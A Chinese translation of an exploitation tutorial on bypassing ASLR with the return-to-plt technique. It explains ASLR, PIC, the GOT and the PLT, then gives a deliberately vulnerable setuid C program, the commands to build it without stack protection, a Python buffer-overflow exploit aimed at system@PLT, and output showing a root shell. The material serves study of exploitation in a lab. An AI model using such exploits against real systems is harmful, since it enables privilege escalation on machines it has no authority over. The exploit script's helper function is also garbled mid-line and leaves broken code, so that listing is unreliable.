# 绕过ASLR -- 第一部分

> 译者：[hackyzh](http://bbs.pediy.com/user-694899.htm)

> 原文：[Bypassing ASLR – Part I](https://sploitfun.wordpress.com/2015/05/08/bypassing-aslr-part-i/)

前提条件：

经典的基于堆栈的缓冲区溢出

虚拟机安装：Ubuntu 12.04（x86）

在以前的帖子中，我们看到了攻击者需要知道下面两样事情

+   堆栈地址（跳转到shellcode）

+   libc基地址（成功绕过NX 位）

为了利用漏洞代码。 为了阻止攻击者的行为，安全研究人员提出了一个称为“ASLR”的漏洞利用。

**什么是 ASLR?**

地址空间布局随机化（ASLR）是随机化的利用缓解技术:

+   堆栈地址

+   堆地址

+   共享库地址

一旦上述地址被随机化，特别是当共享库地址被随机化时，我们采取的绕过NX 位的方法不会生效，因为攻击者需要知道libc基地址。但这种缓解技术并不完全是万无一失的，因此在这篇文章中我们可以看到如何绕过共享库地址随机化！

我们已经知道从前一篇文章的`exp.py` libc函数地址计算如下：

```
libc function address = libc base address + function offset
```

**其中**

因为随机化被关闭，所以libc基址是常量（`0xb7e22000` - 对于我们的`vuln`二进制文件）。

函数偏移也是不变的（从`readelf -s libc.so.6 | grep`获得）

现在当我们打开完全随机化（使用下面的命令）

```
#echo 2 > /proc/sys/kernel/randomize_va_space
```

libc基地址将被随机化。

注意：只有libc基地址是随机的，特定功能的偏移与其基地址始终保持不变！因此，如果我们可以绕过共享库基地址随机化，即使打开ASLR，也可以成功利用易受攻击的程序（使用三种技术）。

+   Return-to-plt（这章）

+   爆破（第二部分）

+   GOT 覆盖和解引用（第三部分）

**什么是return-to-plt?**

在这种技术中，而不是返回到libc函数（其地址是随机的）攻击者返回到一个函数的PLT（其地址不是随机的-其地址在执行之前已知）。由于`function@PLT`不是随机的，所以攻击者不再需要预测libc的基地址，而是可以简单地返回到`function@PLT`来调用`function`。

**什么是PLT，如何通过调用`function@PLT`来调用“函数”？**

要了解过程链接表（PLT），先让我简要介绍一下共享库！

与静态库不同，共享库代码段在多个进程之间共享，而其数据段对于每个进程是唯一的。这有助于减少内存和磁盘空间。由于代码段在多个进程之间共享，所以应该只有`read`和`execute`权限，因此动态链接器不能重新定位代码段中存在的数据符号或函数地址（因为它没有写权限）。那么动态链接如何在运行时重新定位共享库符号而不修改其代码段?它使用PIC完成！

**什么是PIC？**

位置无关代码（PIC）是为了解决这个问题而开发的 - 它确保共享库代码段在多个进程之间共享，尽管在加载时执行重定位。PIC通过一级间接寻址实现这一点-共享库代码段不包含绝对虚拟地址来代替全局符号和函数引用，而是指向数据段中的特定表。该表是全局符号和函数绝对虚拟地址的占位符。动态链接器作为重定位的一部分来填充此表。因此，只有重定位数据段被修改，代码段保持不变！

动态链接器以两种不同的方式重新定位PIC中发现的全局符号和函数，如下所述：

全局偏移表（GOT）：

全局偏移表包含每个全局变量的4字节条目，其中4字节条目包含全局变量的地址。当代码段中的指令引用全局变量时，而不是全局变量的绝对虚拟地址，指令指向GOT中条目。当加载共享库时，GOT条目由动态链接器重新定位。因此，PIC使用该表来重新定位具有单个间接级别的全局符号。

过程链接表（PLT）： 过程链接表包含每个全局函数的存根代码。代码段中的调用指令不直接调用函数（`function`），而是调用存根代码（`function @ PLT`）。这个存根代码在动态链接器的帮助下解析了函数地址并将其复制到GOT（`GOT [n]`）。这次解析仅在函数（`function`）的第一次调用期间发生，稍后当代码段中的调用指令调用存根代码（`function @PLT`）时，而不是调用动态链接器来解析函数地址（`function`）存根代码直接从GOT（`GOT [n]`）获取功能地址并跳转到它。因此，PIC使用这个表来重新定位具有两级间接的功能地址。

很好，你阅读了关于PIC的内容，并了解了它有助于保持共享库代码段的完整，因此它有助于共享库代码段在许多进程之间真正的共享！但是你有没有想过，为什么当它不共享任何进程时，在可执行文件的代码段需要有一个GOT 条目或PLT存根代码？它的安全保护机制。现在默认情况下，代码段只能被赋予读取和执行权限，没有写入权限（`R_X`）。这种安全保护机制甚至不允许动态链接器写入代码段，因此它不能重新定位代码段中发现的数据符号或函数地址。因此，为了允许动态链接器重定位，可执行文件也需要GOT 条目和PLT存根代码，就像共享库一样！

实例：

```c
//eg.c
//$gcc -g -o eg eg.c
#include <stdio.h>

int main(int argc, char* argv[]) {
 printf("Hello %s\n", argv[1]);
 return 0;
}
```

下面的反汇编显示，我们不会直接调用`printf`，而是调用相应的PLT代码`printf@PLT`。

```asm
(gdb) disassemble main
Dump of assembler code for function main:
 0x080483e4 <+0>: push %ebp
 0x080483e5 <+1>: mov %esp,%ebp
 0x080483e7 <+3>: and $0xfffffff0,%esp
 0x080483ea <+6>: sub $0x10,%esp
 0x080483ed <+9>: mov 0xc(%ebp),%eax
 0x080483f0 <+12>: add $0x4,%eax
 0x080483f3 <+15>: mov (%eax),%edx
 0x080483f5 <+17>: mov $0x80484e0,%eax
 0x080483fa <+22>: mov %edx,0x4(%esp)
 0x080483fe <+26>: mov %eax,(%esp)
 0x08048401 <+29>: call 0x8048300 <printf@plt>
 0x08048406 <+34>: mov $0x0,%eax
 0x0804840b <+39>: leave 
 0x0804840c <+40>: ret 
End of assembler dump.
(gdb) disassemble 0x8048300
Dump of assembler code for function printf@plt:
 0x08048300 <+0>: jmp *0x804a000
 0x08048306 <+6>: push $0x0
 0x0804830b <+11>: jmp 0x80482f0
End of assembler dump.
(gdb) 
```

在`printf`第一次调用之前，其相应的GOT条目（`0x804a000`）指针将返回到PLT代码（`0x8048306`）。因此，当第一次调用`printf`函数时，其对应的函数地址将在动态链接器的帮助下得到解决。

```
(gdb) x/1xw 0x804a000
0x804a000 <printf@got.plt>: 0x08048306
(gdb)
```

现在在`printf`的调用之后，其相应的GOT条目包含`printf`函数地址(如下所示):

```
(gdb) x/1xw 0x804a000
0x804a000 <printf@got.plt>: 0xb7e6e850
(gdb)
```

注1：如果你想知道更多的PLT和GOT，请看这个博客的文章！

注2：在另一篇文章中，我将详细介绍如何在动态链接器的帮助下动态解析libc函数地址。到目前为止，只要记住下面两个语句（`printf@PLT`的一部分）负责函数地址解析！

```
 0x08048306 <+6>: push $0x0
 0x0804830b <+11>: jmp 0x80482f0
 ```
 
现在有了这些知识，我们知道攻击者不需要精确的libc函数地址来调用libc函数，可以使用`function@PLT`地址（在执行之前知道）来简单地调用它。

漏洞代码：

```c
#include <stdio.h>
#include <string.h>

/* Eventhough shell() function isnt invoked directly, its needed here since 'system@PLT' and 'exit@PLT' stub code should be present in executable to successfully exploit it. */
void shell() {
 system("/bin/sh");
 exit(0);
}

int main(int argc, char* argv[]) {
 int i=0;
 char buf[256];
 strcpy(buf,argv[1]);
 printf("%s\n",buf);
 return 0;
}
```

编译命令：

```
#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
```

现在反汇编可执行文件'vuln'，我们可以找到‘system@PLT’和 ‘exit@PLT’的地址。

```asm
(gdb) disassemble shell
Dump of assembler code for function shell:
 0x08048474 <+0>: push %ebp
 0x08048475 <+1>: mov %esp,%ebp
 0x08048477 <+3>: sub $0x18,%esp
 0x0804847a <+6>: movl $0x80485a0,(%esp)
 0x08048481 <+13>: call 0x8048380 <system@plt>
 0x08048486 <+18>: movl $0x0,(%esp)
 0x0804848d <+25>: call 0x80483a0 <exit@plt>
End of assembler dump.
(gdb)
```


使用这些地址我们可以写一个绕过ASLR（和NX 位）的漏洞利用代码！

利用代码：

```py
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

system = 0x8048380
exit = 0x80483a0
system_arg = 0x80485b5     #Obtained from hexdump output of executable 'vuln'

#endianess convertion
def conv(num):
 return struct.pack("<I",numystem + exit + system_arg
buf = "A" * 272
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)

print "Calling vulnerable program"
call(["./vuln", buf])
```

执行上面的exploit程序给我们root shell，如下所示：

```
$ python exp.py 
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA������
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$
```

注意：为了获得这个root shell，可执行文件应包含`system@PLT`和`exit@PLT`代码。在第三部分中，我将讨论GOT覆盖和GOT解引用技术，即使在可执行文件中不存在必需的PLT存根代码，并且当ASLR被打开时，也可以帮助攻击者调用libc函数。